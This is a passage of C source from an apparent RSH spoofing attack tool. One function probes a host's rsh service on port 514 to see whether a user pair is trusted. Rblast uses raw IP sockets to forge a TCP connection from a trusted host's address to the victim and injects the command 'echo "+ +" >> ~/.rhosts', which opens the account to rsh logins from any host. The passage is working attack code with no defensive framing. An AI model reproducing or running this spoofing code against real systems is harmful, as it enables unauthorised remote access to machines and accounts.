  967.         close(socket_client);
  968.         exit(ERROR);
  969.     }
  970.  
  971.     adresse_serveur.sin_family      = AF_INET;
  972.     adresse_serveur.sin_port        = htons(514);
  973.     adresse_serveur.sin_addr.s_addr = ip;
  974.  
  975.     res = connect(socket_client,(struct sockaddr *)&adresse_serveur, 
  976.               longueur); 
  977.  
  978.         if (res == ERROR) {
  979.            perror("connect");
  980.            close(socket_client);
  981.            exit(ERROR);
  982.         }
  983.  
  984.     if (send(socket_client, "0\0", 2, 0) == ERROR) {
  985.         perror("send");
  986.         close(socket_client);
  987.         exit(ERROR);
  988.     }    
  989.  
  990.     strcat(cmd, Luser);
  991.     if (send(socket_client, cmd, strlen(Luser) + 1, 0) == ERROR) {
  992.         perror("send");
  993.         close(socket_client);
  994.         exit(ERROR);
  995.     }    
  996.  
  997.     bzero(cmd, 400);
  998.     cmdptr = cmd;
  999.     strcat(cmdptr, Ruser);
  1000.     cmdptr = cmdptr + strlen(Ruser) + 1;
  1001.     strcat(cmdptr, exe);    
  1002.     
  1003.     res = send(socket_client, cmd, strlen(Ruser) + strlen(exe) + 2, 0);
  1004.  
  1005.     if (res == ERROR) {
  1006.         perror("send");
  1007.         close(socket_client);
  1008.         exit(ERROR);
  1009.         }
  1010.         
  1011.     if ((read(socket_client, bla, 200)) == ERROR) {
  1012.         perror("read");
  1013.         close(socket_client);
  1014.         exit(ERROR);
  1015.     }
  1016.  
  1017.         printf("%s\n",bla);
  1018.     
  1019.         if (strstr(bla, "nied") || strstr(bla, "inc")) { 
  1020.          close(socket_client);
  1021.          err = -1;
  1022.     } else 
  1023.         err = 0;
  1024.  
  1025.     close(socket_client);    
  1026.     return (err);
  1027.   }
  1028.  
  1029.   close(socket_client);    
  1030.   return (err);
  1031.  
  1032. }
  1033.  
  1034.  
  1035.  
  1036. /****************************************************************************/
  1037. /*           Rblast - a function for try the RSH spoofing                   */
  1038. /* Rblast(ip trust, ip of victim, your ip, source port, local user,         */
  1039. /*        remote user)                                */
  1040. /****************************************************************************/ 
  1041.  
  1042. void Rblast(s_ip, d_ip, my_ip, port, Luser, Ruser)
  1043.     u_long s_ip;
  1044.     u_long d_ip;
  1045.     u_long my_ip; 
  1046.     int    port;
  1047.     char   *Luser; 
  1048.     char   *Ruser;
  1049. {        
  1050.  
  1051.   char  bla[] = "echo \"+ +\" >> ~/.rhosts";
  1052.   char  cmd[512];
  1053.   int   s, s_r;
  1054.  
  1055.   int   i = 1;
  1056.   char  *cmdptr;
  1057.  
  1058.        
  1059.   if ((s_r=socket(AF_INET,SOCK_RAW,6)) == ERROR) {
  1060.     perror("socket");
  1061.     exit(ERROR);
  1062.   }
  1063.  
  1064.   if ((s=socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  1065.     perror("socket");
  1066.     close(s_r);
  1067.     exit(ERROR);
  1068.   }
  1069.  
  1070.   #ifdef IP_HDRINCL
  1071.   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i)) 
  1072.         == ERROR) {
  1073.               fprintf(stderr, "cant set IP_HDRINCL\n");
  1074.               close(s);
  1075.               exit(0); 
  1076.   }
  1077.   #endif
  1078.  
  1079.                                          
  1080.  
  1081.  cmdptr = cmd;
  1082.  strcat(cmdptr, "0\0");
  1083.  cmdptr = cmdptr + 2;
  1084.  strcat(cmdptr, Luser);
  1085.  cmdptr = cmdptr + strlen(Luser) + 1;
  1086.  strcat(cmdptr, Ruser);
  1087.  cmdptr = cmdptr + strlen(Ruser) + 1;
  1088.  strcat(cmdptr, bla);
  1089.  cmdptr=cmdptr + strlen(bla) + 1;
  1090.  
  1091.  printf("make spoof connection ...\n");
  1092.  printf("%s@%s --> ", Luser, (char *)inet_ntoa(s_ip));
  1093.  printf("%s@%s\n",    Ruser, (char *)inet_ntoa(d_ip));        
  1094.  
  1095.  Sconnect(s, s_ip, d_ip, port, 514, my_ip);
  1096.  
  1097.  printf("send the spoof rsh... \n");
  1098.  Swrite(s, cmd, strlen(Luser) + strlen(Ruser) + strlen(bla) + 2 + 3);
  1099.  Srst(s); 
  1100.  
  1101.  close(s);
  1102.  
  1103. }
  1104.                                                                        
  1105.